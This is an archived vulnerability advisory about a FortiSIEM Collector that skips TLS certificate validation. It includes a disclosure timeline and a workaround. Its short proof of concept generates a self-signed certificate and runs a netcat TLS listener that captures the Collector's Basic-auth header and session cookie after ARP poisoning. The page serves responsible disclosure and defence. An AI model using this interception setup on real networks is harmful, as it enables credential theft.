what you don't know can hurt you

Fortinet FortiSIEM 5.0 / 5.2.1 Improper Certification Validation

Fortinet FortiSIEM 5.0 / 5.2.1 Improper Certification Validation
Posted Oct 1, 2019
Authored by Andrew Klaus

A FortiSIEM collector connects to a Supervisor/Worker over HTTPS TLS (443/TCP) to register itself as well as relaying event data such as syslog, netflow, SNMP, etc. When the Collector (the client) connects to the Supervisor/Worker (the server), the client does not validate the server-provided certificate against its root-CA store. Since the client does no server certificate validation, this means any certificate presented to the client will be considered valid and the connection will succeed. If an attacker spoofs a Worker/Supervisor using an ARP or DNS poisoning attack (or any other MITM attack), the Collector will blindly connect to the attacker's HTTPS TLS server. It will disclose the authentication password used along with any data being relayed. Versions 5.0 and 5.2.1 have been tested and are affected.

tags | exploit, web, root, spoof, tcp
SHA-256 | dbc1310afdd15da14c73881539c81b6d75bfa93a15e200bb1094631bd6549cbe

Fortinet FortiSIEM 5.0 / 5.2.1 Improper Certification Validation

Change Mirror Download
Product Name: FortiSIEM
Tested versions: 5.0, 5.2.1
Fixed in version: Only a manual workaround is available from Fortinet as of
this writing
Weakness Type: CWE-295 - Improper Certificate Validation
Discovered by: Andrew Klaus (Cybera Canada)
CVE: Pending


== Disclosure Timeline:
June 25, 2019: Initial Disclosure to Fortinet PSIRT (Received automated
ticket response)
July 15, 2019: Received response that the issue was forwarded to R&D Team
July 23, 2019: Fortinet contacted me to test a configuration change
July 24, 2019: Provided results of configuration change to Fortinet
Sept 23, 2019: Reminded Fortinet of public disclosure date
Oct 1, 2019: Public Disclosure


== Summary:
A FortiSIEM collector connects to a Supervisor/Worker over HTTPS TLS
(443/TCP) to register itself as well as relaying event data such as syslog,
netflow, SNMP, etc.

When the Collector (the client) connects to the Supervisor/Worker (the
server), the client does not validate the server-provided certificate
against its root-CA store. Since the client does no server certificate
validation, this means any certificate presented to the client will be
considered valid and the connection will succeed.

If an attacker spoofs a Worker/Supervisor using an ARP or DNS poisoning
attack (or any other MITM attack), the Collector will blindly connect to
the attacker's HTTPS TLS server. It will disclose the authentication
password used along with any data being relayed.


== Workaround:
Fortinet has created a document for customers to follow to enable
inter-node TLS validation.

At this time, Fortinet won't set this flag by default since it will impact
their existing customers. All new and existing customers will need to
follow the workaround guide that Fortinet is providing in order to mitigate.


== Proof of Concept (PoC):

This PoC assumes a working Collector + Supervisor/Worker setup. This could
just as easily work on a Collector that is first being registered.

Note: This utilizes OpenBSD's netcat, which supports TLS. "nc" on other
operating systems may not support TLS.

(On attacker system)
First generate a new self-signed certificate:
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -nodes
-days 365

Enter any dummy certificate details information.

Netcat listen on a TLS socket:

# nc -ckv6l -K key.pem -C cert.pem %IP% 443
Listening on %IP% 443

After successfully poisoning the ARP cache to redirect the Collector to a
rogue server. The Collector will now connect to the attacker's TLS socket
and start sending data.

Connection received on %COLLECTOR-IP% 35244
GET
/phoenix/rest/sync/task?custId=%ID%&agentId=%ID%&time=1561402888&phProcessName=phMonitorAgent
HTTP/1.1
Authorization: Basic %AUTH-DATA%
Host: %SUPERVISOR-HOSTNAME%
Accept: */*
Cookie: JSESSIONID=%COOKIE-VALUE%


== Other Observations:

I observed this in the phoenix.log file on the FortiSIEM appliance:
[PH_GENERIC_DEBUG]:[eventSeverity]=PHL_DEBUG,[procName]=<unknown>,[fileName]=phHttpClient.cpp,[lineNumber]=1862,[phLogDetail]=set
CURLOPT_SSL_VERIFYPEER to no

This "VERIFYPEER" option determines whether curl verifies the authenticity
of the peer's certificate. A value of 1 means curl verifies the SSL/TLS
server certificate; 0 (zero) means it does not:
https://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html.

The following provisioning scripts also have hardcoded curl commands with
the `-k / --insecure` flag set, which makes them susceptible to MITM'ing
connections when provisioning:

phProvisionCollector
phProvisionWorker
elastic_deploy.sh
elastic_deploy_url.sh


Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close